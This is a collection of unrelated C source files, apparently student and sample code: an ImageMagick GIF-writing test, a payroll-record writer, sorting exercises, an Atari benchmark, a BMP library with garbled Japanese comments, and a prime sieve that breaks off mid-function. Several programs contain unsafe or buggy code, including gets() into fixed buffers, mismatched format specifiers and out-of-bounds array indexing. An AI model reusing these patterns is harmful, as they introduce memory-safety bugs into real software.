ErrFuncName, line ) \ { \ char *description ; \ ExceptionType severity ; \ \ description = ErrFuncName ( wand, &severity ); \ fprintf(stderr,"An error was reported on line %d (" #ErrFuncName "() output): %s\n\n",line,description); \ MagickRelinquishMemory( description ); \ } #define CLEAR_FILENAME( mgck_wnd, GetFilenameFunc, SetFilenameFunc ) \ { \ char *orig_filename ; \ int filename_valid ; \ \ orig_filename = (char *) (GetFilenameFunc ( mgck_wnd )); \ filename_valid = !(orig_filename == (char *) NULL || *orig_filename == '\0'); \ \ if ( filename_valid ) { SetFilenameFunc ( mgck_wnd, "" ); } \ } /*-----------------------------------------------------------------------------------------------*/ /* Function Forward Decleration */ /*-----------------------------------------------------------------------------------------------*/ MagickBooleanType WriteImageFile (MagickWand *mgck_wnd, char *file_name); MagickBooleanType WriteImagesFile (MagickWand *mgck_wnd, char *file_name); MagickBooleanType FilePutBlob (char *file_name , unsigned char *BLOB , size_t BLOB_len ); MagickBooleanType AddDrawNewImages (MagickWand *mgck_wnd, DrawingWand *drw_wnd, unsigned long num_images); /*-----------------------------------------------------------------------------------------------*/ /*-----------------------------------------------------------------------------------------------*/ /* main () */ /*-----------------------------------------------------------------------------------------------*/ /*-----------------------------------------------------------------------------------------------*/ int main( int argc, char **argv ) { MagickWand *mgck_wnd ; DrawingWand *drw_wnd ; PixelWand *color ; unsigned char *blob ; size_t blob_length ; // Create PixelWand, then Set Draw Color color = NewPixelWand(); if ( PixelSetColor( color, "green" ) == MagickFalse ) { CHECK_WAND_ERROR( color, PixelGetException, __LINE__ ); DestroyPixelWand( color ); exit( -1 ); } // Create MagickWand mgck_wnd = NewMagickWand(); // Create DrawingWand drw_wnd = NewDrawingWand(); // Set DrawingWand Parameters DrawSetFontSize ( drw_wnd , 50 ); DrawSetGravity ( drw_wnd , CenterGravity ); DrawSetFillColor( drw_wnd , color ); if ( AddDrawNewImages( mgck_wnd, drw_wnd, 10 ) == MagickTrue ) { // The following explicitly clears the MagickWand's filename CLEAR_FILENAME( mgck_wnd, MagickGetFilename, MagickSetFilename ); // Setting the MagickWand's image format to GIF if ( MagickSetImageFormat( mgck_wnd, "GIF" ) == MagickTrue ) { /* Fails, as it should, as no image format or filename exists for the current active image */ // MagickClearException( mgck_wnd ); blob = MagickGetImageBlob( mgck_wnd, &blob_length ); if ( blob_length > 0 ) { FilePutBlob( "./image_blob.gif", blob, blob_length ); MagickRelinquishMemory( blob ); } else { fprintf( stderr, "\nAnticipated error -> " ); CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } /* Succeeds */ //MagickClearException( mgck_wnd ); if ( MagickWriteImage( mgck_wnd, "./image_write.gif" ) == MagickFalse ) { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } /* Succeeds */ //MagickClearException( mgck_wnd ); if ( WriteImageFile( mgck_wnd, "./image_file.gif" ) == MagickFalse ) { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } // The following attempt to get the BLOB of the MagickWand's image sequence // SHOULD NOT FAIL, but it still does. // Unlike the attempt to get an individual image's BLOB above, (in the absence // of an image filename or a set format), the format of the MagickWand's image // equence was set previously, and should be used. //MagickClearException( mgck_wnd ); blob = MagickGetImageBlob( mgck_wnd, &blob_length ); if ( blob_length > 0 ) { FilePutBlob( "./images_blob.gif", blob, blob_length ); MagickRelinquishMemory( blob ); } else { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } /* Succeeds */ //MagickClearException( mgck_wnd ); if ( MagickWriteImages( mgck_wnd, "./images_write.gif", MagickTrue ) == MagickFalse ) { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } /* Succeeds */ //MagickClearException( mgck_wnd ); if ( MagickWriteImages( mgck_wnd, "./images_write.gif", MagickFalse ) == MagickFalse ) { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } /* Succeeds */ //MagickClearException( mgck_wnd ); if ( WriteImagesFile( mgck_wnd, "./images_file.gif" ) == MagickFalse ) { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } } else { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } } ///////////////// // Free Memeory ///////////////// DestroyMagickWand ( mgck_wnd ); DestroyDrawingWand( drw_wnd ); return( 0 ); } /*-----------------------------------------------------------------------------------------------*/ /* WriteImageFile () */ /*-----------------------------------------------------------------------------------------------*/ MagickBooleanType WriteImageFile( MagickWand *mgck_wnd, char *file_name ) { FILE *fp_o ; MagickBooleanType rc = MagickFalse ; fp_o = fopen( file_name, "w" ); if ( fp_o == (FILE *) NULL ) { fprintf( stderr, "*****Could not open filehandle to file '%s'*****\n", file_name ); return rc; } else { if ( MagickWriteImageFile( mgck_wnd, fp_o ) == MagickTrue ) { rc = MagickTrue; } else { fprintf( stderr, "WriteImageFile(): FAILED writing to %s filehandle: ", file_name ); } fclose( fp_o ); } return rc; } /*-----------------------------------------------------------------------------------------------*/ /* WriteImagesFile () */ /*-----------------------------------------------------------------------------------------------*/ MagickBooleanType WriteImagesFile ( MagickWand *mgck_wnd, char *file_name ) { FILE *fp_o ; MagickBooleanType rc = MagickFalse ; fp_o = fopen( file_name, "w" ); if ( fp_o == (FILE *) NULL ) { fprintf( stderr, "*****Could not open filehandle to file '%s'*****\n", file_name ); return rc; } else { if ( MagickWriteImageFile( mgck_wnd, fp_o ) == MagickTrue ) { rc = MagickTrue; } else { fprintf( stderr, "WriteImagesFile(): FAILED writing to %s filehandle: ", file_name ); } fclose( fp_o ); } return rc; } /*-----------------------------------------------------------------------------------------------*/ /* FilePutBlob() */ /*-----------------------------------------------------------------------------------------------*/ MagickBooleanType FilePutBlob( char *file_name, unsigned char *BLOB, size_t BLOB_len ) { FILE *fp_o ; MagickBooleanType rc = MagickFalse ; fp_o = fopen( file_name, "w" ); if ( fp_o == (FILE *) NULL ) { fprintf( stderr, "*****Could not open filehandle to file '%s'*****\n", file_name ); return rc; } else { if ( BLOB_len == fwrite( BLOB, sizeof(unsigned char), BLOB_len, fp_o ) ) { rc = MagickTrue; } else { printf( "FilePutBlob(): FAILED in writing image(s) to filehandle opened on file %s\n",file_name ); } fclose( fp_o ); } return rc; } /*-----------------------------------------------------------------------------------------------*/ /* AddDrawNewImages() */ /*-----------------------------------------------------------------------------------------------*/ MagickBooleanType AddDrawNewImages( MagickWand *mgck_wnd, DrawingWand *drw_wnd, unsigned long num_images ) { MagickBooleanType rc ; PixelWand *black ; unsigned long i ; long last_idx ; char idx_str[ 50 ] ; black = NewPixelWand(); for ( i = 0; i < num_images; i++ ) { rc = MagickFalse; if ( MagickNewImage ( mgck_wnd, 500, 500, black ) == MagickTrue ) { last_idx = (long) ( MagickGetNumberImages( mgck_wnd ) - 1 ); printf( "Created new image at MagickWand index %ld\n", last_idx ); if ( MagickSetImageIndex( mgck_wnd, last_idx ) == MagickTrue ) { DrawLine ( drw_wnd, 1, 1, 199, 199 ); sprintf( idx_str, "hany %ld", last_idx ); if ( (MagickAnnotateImage( mgck_wnd, drw_wnd, 0, 0, 0, idx_str ) == MagickTrue) && (MagickSetImageDelay( mgck_wnd, 50 ) == MagickTrue) ) { rc = MagickTrue; CLEAR_FILENAME( mgck_wnd, MagickGetImageFilename, MagickSetImageFilename); } } } if ( rc == MagickFalse ) { break; } } DestroyPixelWand( black ); if ( rc == MagickFalse ) { CHECK_WAND_ERROR( mgck_wnd, MagickGetException, __LINE__ ); } return rc; }
C
#include<stdio.h> #include<stdlib.h> typedef struct{ int registro; // fixo 10 int cod_empregado; char competencia[8]; int cod_evento; int tipo_processo; float valor; int cod_empresa; }Lancamento; typedef struct{ int registro; //fixo 11 char dias_falta[8]; }Falta; void verifica_arquivo(FILE *arquivo) { if(arquivo == NULL){ printf("Erro na abertura do arquivo!"); } else{ printf("Arquivo aberto com sucesso!\n\n"); } } void lancamentos_folha(FILE *arquivo, Lancamento *lancamento, int n) { int i = 0; printf("\n =========REGISTRO DE LANCAMENTOS========\n\n"); for(i=1;i<=n;i++){ printf("Digite o codigo do empregado %d:\n", i); fflush(stdin); scanf("%d",&lancamento[i].cod_empregado); printf("Digite a data, formato 'AAAAMM'\n"); fflush(stdin); scanf("%s",&lancamento[i].competencia); printf("Digite o codigo do evento 'Rubrica'\n"); fflush(stdin); scanf("%d",&lancamento[i].cod_evento); printf("Digite o codigo do tipo de processo '11 - folha mensal'\n"); fflush(stdin); scanf("%d",&lancamento[i].tipo_processo); printf("Digite o valor Valor\n"); fflush(stdin); scanf("%f",&lancamento[i].valor); printf("Digite o codigo da empresa\n"); scanf("%d",&lancamento[i].cod_empresa); fflush(stdin); lancamento[i].registro = 10; fprintf(arquivo, "%d", lancamento[i].registro); fprintf(arquivo, "%09d", lancamento[i].cod_empregado); fprintf(arquivo, "%s", lancamento[i].competencia); fprintf(arquivo, "%02d", lancamento[i].cod_evento); fprintf(arquivo, "%07d", lancamento[i].tipo_processo); fprintf(arquivo, "%06d", lancamento[i].valor); fprintf(arquivo, "%07d\n", lancamento[i].cod_empresa); } } void registro_faltas(FILE *arquivo, Falta *falta, int n){ int i; printf("\n========REGISTRO DE FALTAS=========\n\n"); for(i=1;i<=n;i++){ printf("Digite a data da falta - FORMATO = 'AAAAMMDD'\n"); scanf("%d",&falta[i].dias_falta); fflush(stdin); falta[i].registro = 11; fprintf(arquivo, "%d", falta[i].registro); fprintf(arquivo, "%s\n", falta[i].dias_falta); } } int main() { FILE *arquivo; arquivo = fopen("teste.txt","w"); verifica_arquivo(arquivo); int num; printf("Digite o numero de lancamentos que deseja realizar\n"); scanf("%d",&num); Lancamento lancamento[num]; Falta falta[num]; lancamentos_folha(arquivo, lancamento, num); registro_faltas(arquivo, falta, num); }
C
#include<stdio.h> #include<stdlib.h> #include<ctype.h> #include<string.h> /* Escreva um programa que pea para o usurio uma frase e uma palavra. Ento substitua todas as ocorrncias dessa palavra pela sua verso em letras maisculas. */ main(){ char frase[50]; char palavra[50]; int i; char *p; printf("Digite uma frase: \n"); gets(frase); printf("Digite uma palavra: \n"); gets(palavra); p=strstr(frase,palavra); if(p==NULL) printf("Nao existe ocorrencias \n"); while(p!=NULL){ for(i=0 ; i<strlen(frase); i++){ if (*(p+i) >= 'a' && *(p+i) <= 'z') *(p+i) -= 32; } p = strstr(frase,palavra); } puts(frase); }
C
#include <stdio.h> #define MAXNUM 10 static void insertion_sort(int arr[], int num); int main() { int arr[MAXNUM] = {0}; int num = 0; int index = 0; printf("\nEnter the number of elements that needs to be entered in an array\n"); scanf("%d", &num); printf("\nThe number of elements that needs to be entered in an array is: %d\n", num); printf("\nEnter the elements in an array\n"); for (index = 0; index < num; ++index) { scanf("%d", &arr[index]); } printf("\nThe elements entered in an array are:\n"); for (index = 0; index < num; ++index) { printf("%d\n", arr[index]); } insertion_sort(arr, num); printf("\nThe sorted array is:\n"); for (index = 0; index < num; ++index) { printf("\n%d\n", arr[index]); } return 0; } static void insertion_sort(int arr[], int num) { int outer_index = 0; int inner_index = 0; int key = 0; for (outer_index = 1; outer_index < num; ++outer_index) { key = arr[outer_index]; inner_index = outer_index - 1; while ((inner_index >= 0) && (arr[inner_index] > key)) { arr[inner_index + 1] = arr[inner_index]; --inner_index; } arr[inner_index + 1] = key; } }
C
#include<stdio.h> int main() { int n,i=0,k,j; int a[100]; scanf("%d",&n); while(n) { a[i]=n%10; i++; n/=10; } for(j=0;j<i-1;j++) for(k=0;k<i-1-j;k++) { if(a[k]<a[k+1]){ n=a[k+1]; a[k+1]=a[k]; a[k]=n; } } for (j=0;j<i;j++) printf("%d",a[j]); }
C
#include <atari.h> #include "benchmark.h" #define SCREEN_SIZE_X 40 #define NO_ENEMIES 30 #define _countof(array) (sizeof(array) / sizeof(array[0])) typedef enum e_entity_type { ENTITY_DEAD, ENTITY_PLAYER, ENTITY_ENEMY } e_entity_type; typedef struct s_entity { unsigned char x; unsigned char y; unsigned char hp; e_entity_type type; } s_entity; typedef struct s_player { s_entity entity; unsigned char attack; } s_player; typedef struct s_game_state { s_entity enemies[NO_ENEMIES]; s_player player; } s_game_state; /// Data unsigned char *screen_ptr; s_game_state game_state; s_entity *place_enemy_ptr; void place_enemy(unsigned char x, unsigned char y) { place_enemy_ptr->x = x; place_enemy_ptr->y = y; } void set_entities() { unsigned char index; s_entity *e; // set enemies for (index = 0; index < _countof(game_state.enemies); index++) { e = &game_state.enemies[index]; place_enemy_ptr = e; place_enemy((index*5) % SCREEN_SIZE_X, index / 2 + 9); e->hp = 99; e->type = ENTITY_ENEMY; }; // set player game_state.player.entity.hp = 99; game_state.player.entity.x = SCREEN_SIZE_X/2; game_state.player.entity.type = ENTITY_PLAYER; }; char get_entity_tile(e_entity_type type) { switch(type) { case ENTITY_PLAYER: return 'p'; case ENTITY_ENEMY: return 'e'; } return 'x'; } s_entity *draw_entity_ptr; void draw_entity() { const unsigned char FIRST_DIGIT_CHAR = 0x10; unsigned char *draw_ptr = &screen_ptr[draw_entity_ptr->y * SCREEN_SIZE_X + draw_entity_ptr->x]; *draw_ptr = get_entity_tile(draw_entity_ptr->type); *(++draw_ptr) = draw_entity_ptr->hp / 10 + FIRST_DIGIT_CHAR; *(++draw_ptr) = draw_entity_ptr->hp % 10 + FIRST_DIGIT_CHAR; }; s_entity *damage_enemy_ptr; void damage_enemy() { // damage if (damage_enemy_ptr->hp > 0) damage_enemy_ptr->hp--; } void one_frame() { unsigned char index; s_entity *e; // draw enemies for (index=0;index < _countof(game_state.enemies);index++) { e = &game_state.enemies[index]; damage_enemy_ptr = e; damage_enemy(); draw_entity_ptr = e; draw_entity(); }; // draw player draw_entity_ptr = &game_state.player.entity; draw_entity(); } void main(void) { unsigned char times; screen_ptr = OS.savmsc; set_entities(); start_benchmark(); for (times = 0; times < 100; ++times) one_frame(); end_benchmark(); for(;;); }
C
/** * COMP3520 - Operating Systems - Assignment 1 * * author: Internet's own boy */ /* ========== FUNCTION PROTOTYPES ========== */ /** * this function is responsible for printing error messages. * it will be called whenever a error occurs, prints out the error message and * exit the program */ //void handleError(char*); /* this function will be called if we need to change * the currently working to a new one */ void changePath(); /* this function will be used after getting the user's input to tokenize them * and make them ready to be interpreted by other functions. * it uses the logic from external_cmds_sol.c from the lab exercises * */ void tokenizeCommand(); /* this function handles the signal sent from a child process. * it basically initiats the ctrl+c signal */ void signalChild(); /* this function controls the I/O redirections. * it can interpret 3 types of redirections: * > for writing * >> for appending * < for reading */ void ioRedirect(int); /* it sets back the changed i/o redirection to its default value */ void ioRedirectClose(); /* this function interprets and executes the commands entered by user * only the commands that have been mentioned in the assignment description. * if any commands outside of those entered it will try to create a child process and * execute it */ void runCommand(); /* this function is responsible to handle the batch file * it reads the file, tokenizes it and executes them */ void readBatchFile();
C
/*****************************************************************************/ /* */ /* bmp.c: bmp t@C̃Cu */ /* */ /* Kazutoshi Ando (Shizuoka Univ.) */ /* */ /* Ver. 2004.11.30 */ /* WriteBmp: wb_̌C. */ /* Ver. 2004.11.26 */ /* Diminish: (?)[`lj. */ /* PrintBmpInfo: bmpt@CȊÕt@Cǂ񂾂Ƃ */ /* , G[o͂悤ɕύX. */ /* Ver. 2004.08.20 */ /* ReadBmp: 24bitFbmpt@CȊÕt@C */ /* ǂ񂾂Ƃ, G[o͂悤ɕύX. */ /* PrintBmpInfo: , 𑜓xo͂悤ɕύX. */ /* WriteBmp: wb_̌C. */ /* Ver. 2004.08.18 */ /* Gray lj. */ /* Ver. 2004.08.17 */ /* 4byte Eɍ킹邽߂̌vZ, */ /* Rotate90, Shrink, Mosaic lj. */ /* G[bZ[W̏o͐WG[o͂ɕύX. */ /* Ver. 2003.11.04 */ /* */ /*****************************************************************************/ #include "bmp.h" /* ֐: ReadBmp : char *filename, img *imgp Ԃl: void : bmp`̃t@C filename J, ̉摜f[^ 2z imgp->data Ɋi[. , wb_ǂݍ܂ꂽ 摜̕ƍO[oϐ Bmp_width Bmp_height ɃZbg. */ void ReadBmp(char *filename, img *imgp) { int i,j; int Real_width; FILE *Bmp_Fp=fopen(filename,"rb"); /* oCi[hǂݍݗpɃI[v */ unsigned char *Bmp_Data; /* 摜f[^1si[ */ if(Bmp_Fp==NULL){ fprintf(stderr,"Error: file %s couldn\'t open for read!.\n",filename); exit(1); } /* wb_ǂݍ */ fread(Bmp_headbuf,sizeof(unsigned char),HEADERSIZE,Bmp_Fp); memcpy(&Bmp_type,Bmp_headbuf,sizeof(Bmp_type)); if (strncmp(Bmp_type,"BM",2)!=0) { fprintf(stderr,"Error: %s is not a bmp file.\n",filename); exit(1); } memcpy(&imgp->width,Bmp_headbuf+18,sizeof(Bmp_width)); memcpy(&imgp->height,Bmp_headbuf+22,sizeof(Bmp_height)); memcpy(&Bmp_color,Bmp_headbuf+28,sizeof(Bmp_color)); if (Bmp_color!=24) { fprintf(stderr,"Error: Bmp_color = %d is not implemented in this program.\n",Bmp_color); exit(1); } if (imgp->width > MAXWIDTH) { fprintf(stderr,"Error: Bmp_width = %d > %d = MAXWIDTH!\n",Bmp_width,MAXWIDTH); exit(1); } if (imgp->height > MAXHEIGHT) { fprintf(stderr,"Error: Bmp_height = %d > %d = MAXHEIGHT!\n",Bmp_height,MAXHEIGHT); exit(1); } Real_width = imgp->width*3 + imgp->width%4; /* 4byte Eɂ킹邽߂Ɏۂ̌̕vZ */ /* z̈̓Im. sꍇ̓G[bZ[Wo͂ďI */ if((Bmp_Data = (unsigned char *)calloc(Real_width,sizeof(unsigned char)))==NULL) { fprintf(stderr,"Error: Memory allocation failed for Bmp_Data!\n"); exit(1); } /* 摜f[^ǂݍ */ for(i=0;i<imgp->height;i++) { fread(Bmp_Data,1,Real_width,Bmp_Fp); for (j=0;j<imgp->width;j++) { imgp->data[imgp->height-i-1][j].b = Bmp_Data[j*3]; imgp->data[imgp->height-i-1][j].g = Bmp_Data[j*3+1]; imgp->data[imgp->height-i-1][j].r = Bmp_Data[j*3+2]; } } /* IɊmۂz̈̉ */ free(Bmp_Data); /* t@CN[Y */ fclose(Bmp_Fp); } /* ֐: WriteBmp : char *filename, img *tp Ԃl: void : 2z tp->data ̓e摜f[^Ƃ, 24rbg bmp`̃t@C filename ɏo. */ void WriteBmp(char *filename, img *tp) { int i,j; int Real_width; FILE *Out_Fp = fopen(filename,"wb"); /* t@CI[v */ unsigned char *Bmp_Data; /* 摜f[^1si[ */ if(Out_Fp==NULL){ fprintf(stderr,"Error: file %s couldn\'t open for write!\n",filename); exit(1); } Bmp_color=24; Bmp_header_size=HEADERSIZE; Bmp_info_header_size=40; Bmp_planes=1; Real_width = tp->width*3 + tp->width%4; /* 4byte Eɂ킹邽߂Ɏۂ̌̕vZ */ /* z̈̓Im. sꍇ̓G[bZ[Wo͂ďI */ if((Bmp_Data = (unsigned char *)calloc(Real_width,sizeof(unsigned char)))==NULL) { fprintf(stderr,"Error: Memory allocation failed for Bmp_Data!\n"); exit(1); } /* wb_̏ */ Bmp_xppm=Bmp_yppm=0; Bmp_image_size = tp->height*Real_width; Bmp_size = Bmp_image_size + HEADERSIZE; Bmp_headbuf[0]='B'; Bmp_headbuf[1]='M'; memcpy(Bmp_headbuf+2,&Bmp_size,sizeof(Bmp_size)); Bmp_headbuf[6]=Bmp_headbuf[7]=Bmp_headbuf[8]=Bmp_headbuf[9]=0; memcpy(Bmp_headbuf+10,&Bmp_header_size,sizeof(Bmp_header_size)); Bmp_headbuf[11]=Bmp_headbuf[12]=Bmp_headbuf[13]=0; memcpy(Bmp_headbuf+14,&Bmp_info_header_size,sizeof(Bmp_info_header_size)); Bmp_headbuf[15]=Bmp_headbuf[16]=Bmp_headbuf[17]=0; memcpy(Bmp_headbuf+18,&tp->width,sizeof(Bmp_width)); memcpy(Bmp_headbuf+22,&tp->height,sizeof(Bmp_height)); memcpy(Bmp_headbuf+26,&Bmp_planes,sizeof(Bmp_planes)); memcpy(Bmp_headbuf+28,&Bmp_color,sizeof(Bmp_color)); memcpy(Bmp_headbuf+34,&Bmp_image_size,sizeof(Bmp_image_size)); memcpy(Bmp_headbuf+38,&Bmp_xppm,sizeof(Bmp_xppm)); memcpy(Bmp_headbuf+42,&Bmp_yppm,sizeof(Bmp_yppm)); Bmp_headbuf[46]=Bmp_headbuf[47]=Bmp_headbuf[48]=Bmp_headbuf[49]=0; Bmp_headbuf[50]=Bmp_headbuf[51]=Bmp_headbuf[52]=Bmp_headbuf[53]=0; /* wb_񏑂o */ fwrite(Bmp_headbuf,sizeof(unsigned char),HEADERSIZE,Out_Fp); /* 摜f[^o */ for (i=0;i<tp->height;i++) { for (j=0;j<tp->width;j++) { Bmp_Data[j*3] = tp->data[tp->height-i-1][j].b; Bmp_Data[j*3+1] = tp->data[tp->height-i-1][j].g; Bmp_Data[j*3+2] = tp->data[tp->height-i-1][j].r; } for (j=tp->width*3;j<Real_width;j++) { Bmp_Data[j]=0; } fwrite(Bmp_Data,sizeof(unsigned char),Real_width,Out_Fp); } /* IɊmۂz̈̉ */ free(Bmp_Data); /* t@CN[Y */ fclose(Out_Fp); } /* ֐: PrintBmpInfo : char *filename Ԃl: void : Ƃė^t@C bmp `̉摜t@C ̑ʂɏo͂. */ void PrintBmpInfo(char *filename) { FILE *Bmp_Fp=fopen(filename,"rb"); /* oCi[hǂݍݗpɃI[v */ if(Bmp_Fp==NULL){ fprintf(stderr,"Error: file %s couldn\'t open for write!\n",filename); exit(1); } fread(Bmp_headbuf,sizeof(unsigned char),HEADERSIZE,Bmp_Fp); memcpy(&Bmp_type,Bmp_headbuf,sizeof(Bmp_type)); if (strncmp(Bmp_type,"BM",2)!=0) { fprintf(stderr,"Error: %s is not a bmp file.\n",filename); exit(1); } memcpy(&Bmp_size,Bmp_headbuf+2,sizeof(Bmp_size)); memcpy(&Bmp_width,Bmp_headbuf+18,sizeof(Bmp_width)); memcpy(&Bmp_height,Bmp_headbuf+22,sizeof(Bmp_height)); memcpy(&Bmp_color,Bmp_headbuf+28,sizeof(Bmp_color)); memcpy(&Bmp_comp,Bmp_headbuf+30,sizeof(Bmp_comp)); memcpy(&Bmp_image_size,Bmp_headbuf+34,sizeof(Bmp_size)); memcpy(&Bmp_xppm,Bmp_headbuf+38,sizeof(Bmp_xppm)); memcpy(&Bmp_yppm,Bmp_headbuf+42,sizeof(Bmp_yppm)); printf("t@C = %s \n",filename); printf("t@C^Cv = %c%c \n",Bmp_type[0],Bmp_type[1]); printf("t@CTCY = %d (byte)\n",Bmp_size); printf(" = %d (pixel)\n",Bmp_width); printf(" = %d (pixel)\n",Bmp_height); printf("F = %d (bit)\n",Bmp_color); printf("k = %d\n",Bmp_comp); printf("摜̃TCY = %d (byte)\n",Bmp_image_size); printf("𑜓x = %d (ppm)\n",Bmp_xppm); printf("𑜓x = %d (ppm)\n",Bmp_yppm); fclose(Bmp_Fp); } /* ֐: HMirror : img *sp, img *tp Ԃl: void : 2z tp->data ̉摜𐅕̋fƂ̂ 2z sp->data Ɋi[. */ void HMirror(img* sp, img *tp) { int i,j; long k; for(i=0;i<tp->height;i++) for(j=0;j<tp->width;j++) sp->data[tp->height-i-1][j]=tp->data[i][j]; sp->height=tp->height; sp->width=tp->width; } /* ֐: VMirror : img *sp, img *tp Ԃl: void : 2z tp->data ̉摜𐂒̋fƂ̂ 2z sp->data Ɋi[. */ void VMirror(img *sp, img *tp) { int i,j; long k; for(i=0;i<tp->height;i++) for(j=0;j<tp->width;j++) sp->data[i][tp->width-j-1]=tp->data[i][j]; sp->height=tp->height; sp->width=tp->width; } /* ֐: Rotate90 : int a, img *sp, img *tp Ԃl: void : 2z tp->data ̉摜 90~a xvɉ]̂ 2z sp->data Ɋi[. , 摜̕ƍ, sp->height sp->width ɐݒ. */ void Rotate90(int a, img *sp, img *tp) { int i,j; if ((a%4)==0) { for(i=0;i<tp->height;i++) for(j=0;j<tp->width;j++) sp->data[i][j]=tp->data[i][j]; sp->width=tp->width; sp->height=tp->height; } else if ((a%4)==1) { for(i=0;i<tp->height;i++) for(j=0;j<tp->width;j++) sp->data[j][tp->height-i-1]=tp->data[i][j]; sp->height=tp->width; sp->width=tp->height; } else if ((a%4)==2) { for(i=0;i<tp->height;i++) for(j=0;j<tp->width;j++) sp->data[tp->height-i-1][tp->width-j-1]=tp->data[i][j]; sp->width=tp->width; sp->height=tp->height; } else { for(i=0;i<tp->height;i++) for(j=0;j<tp->width;j++) sp->data[tp->width-j-1][i]=tp->data[i][j]; sp->height=tp->width; sp->width=tp->height; } } /* ֐: Shrink : int a, img *sp, img *tp Ԃl: void : 2z tp->data ̉摜̕ƍ 1/a {摜 2z sp->data Ɋi[. */ void Shrink(int a, img *sp, img *tp) { int i,j,k,l,w,h,count; unsigned long tmp_r,tmp_g,tmp_b; sp->height=tp->height/a + ((tp->height%a == 0)?0:1); sp->width=tp->width/a + ((tp->width%a == 0)?0:1); for(i=0;i<sp->height;i++) { h = (a*(i+1)<=tp->height)?a:tp->height-a*i; for(j=0;j<sp->width;j++) { w = (a*(j+1)<=tp->width)?a:tp->width-a*j; tmp_r =0; tmp_g=0; tmp_b =0; count=0; for(k=0;k<h;k++) for(l=0;l<w;l++) { tmp_r+=tp->data[i*a+k][j*a+l].r; tmp_g+=tp->data[i*a+k][j*a+l].g; tmp_b+=tp->data[i*a+k][j*a+l].b; count++; } sp->data[i][j].r = (unsigned char)(tmp_r/count); sp->data[i][j].g = (unsigned char)(tmp_g/count); sp->data[i][j].b = (unsigned char)(tmp_b/count); } } } /* ֐: Mosaic : int a, img *sp, img *tp Ԃl: void : 2z tp->data ̉摜ɃUCN摜 2z sp->data Ɋi[. UCN̑傫 a~a ł. */ void Mosaic(int a, img *sp, img *tp) { int i,j,k,l,w,h,t_height,t_width,count; unsigned long tmp_r,tmp_g,tmp_b; sp->height=tp->height; sp->width=tp->width; t_height=tp->height/a + ((tp->height%a == 0)?0:1); t_width=tp->width/a + ((tp->width%a == 0)?0:1); for(i=0;i<t_height;i++) { h = (a*(i+1)<=tp->height)?a:tp->height-a*i; for(j=0;j<t_width;j++) { w = (a*(j+1)<=tp->width)?a:tp->width-a*j; tmp_r =0; tmp_g=0; tmp_b =0; count=0; for(k=0;k<h;k++) for(l=0;l<w;l++) { tmp_r+=tp->data[i*a+k][j*a+l].r; tmp_g+=tp->data[i*a+k][j*a+l].g; tmp_b+=tp->data[i*a+k][j*a+l].b; count++; } tmp_r = (unsigned char)(tmp_r/count); tmp_g = (unsigned char)(tmp_g/count); tmp_b = (unsigned char)(tmp_b/count); for(k=0;k<h;k++) for(l=0;l<w;l++) { sp->data[i*a+k][j*a+l].r = tmp_r; sp->data[i*a+k][j*a+l].g = tmp_g; sp->data[i*a+k][j*a+l].b = tmp_b; } } } } /* ֐: Gray : img *sp, img *tp Ԃl: void : 2z tp->data ̉摜OCXP[ϊ, 2z sp->data Ɋi[. */ void Gray(img *sp, img *tp) { int i,j; unsigned char tmp; sp->height=tp->height; sp->width=tp->width; for(i=0;i<sp->height;i++) { for(j=0;j<sp->width;j++) { tmp=(unsigned char)((tp->data[i][j].r+tp->data[i][j].g+tp->data[i][j].b)/3); sp->data[i][j].r = sp->data[i][j].g = sp->data[i][j].b = tmp; } } } /* ֐: Diminish : img *sp, img *tp, unsigned char x Ԃl: void : 2z tp->data ̉摜 (eRGB̋Pxɂ‚ 2^x ƃ}XN) , 2z sp->data Ɋi[. */ void Diminish(img *sp, img *tp, unsigned char x) { int i,j; unsigned char y; x = x % 8; y = 255 << x; sp->height=tp->height; sp->width=tp->width; for(i=0;i<sp->height;i++) { for(j=0;j<sp->width;j++) { sp->data[i][j].r = tp->data[i][j].r & y; sp->data[i][j].g = tp->data[i][j].g & y; sp->data[i][j].b = tp->data[i][j].b & y; } } }
C
/******************************************************************************* * Name : mtsieve.c * Author : Matthew Oyales & Audie Breslin * Date : 1 July 2021 * Description : Implement the Sieve of Eratosthenes with multithreading. * Pledge : I pledge my honor that I have abided by the Stevens Honor System. ******************************************************************************/ #include <ctype.h> #include <errno.h> #include <limits.h> #include <pthread.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <math.h> #include <sys/sysinfo.h> int total_count = 0; // Global count of primes. pthread_mutex_t lock; // Global mutex lock. typedef struct arg_struct { int start; int end; } thread_args; /** * Borrowed from Lab 4 - head.c * * Determines whether or not the input string represents a valid integer. * A valid integer has an optional minus sign, followed by a series of digits * [0-9]. */ bool is_integer(char *input) { int start = 0, len = strlen(input); if (len >= 1 && input[0] == '-') { if (len < 2) { return false; } start = 1; } for (int i = start; i < len; i++) { if (!isdigit(input[i])) { return false; } } return true; } /** * Borrowed from Lab 4 - head.c * * Takes as input a string and an in-out parameter value. * If the string can be parsed, the integer value is assigned to the value * parameter and true is returned. * Otherwise, false is returned and the best attempt to modify the value * parameter is made. */ bool is_overflow(char *input, int *value) { long long long_long_i; if (sscanf(input, "%lld", &long_long_i) != 1) { return false; } *value = (int)long_long_i; if (long_long_i != (long long)*value) { return true; } return false; } /** * Count number of digits in a number, to serve as * a helper for the next function, has_threes. */ int num_digits(int num) { int count = 0; while (num != 0) { num /= 10; count++; } return count; } /** * Check that the given prime has at least two digits that are '3'. * If the number is two digits or less, false. (because 33 is not prime) * Otherwise, check each digit for 3 and ensure there are at least two. */ bool has_threes(int p) { // We can fail out immediately if number is 2 digits or less. if (num_digits(p) < 3) { return false; } int counter = 0; // Store count of 3's found. while (p > 0) { int curr_digit = p % 10; // Stores the rightmost digit of a number. // Is that number 3? If so, add to the count. if (curr_digit == 3) { counter++; } // Move onto the next digit. p /= 10; } return (counter >= 2); } /** * TODO: * Application of the sieve algorithm. */ void *sieve(void *ptr) { thread_args *bob = (thread_args *) ptr; // Cast void to targs pointer. int count = 0; // Number of satisfactory primes. int a = 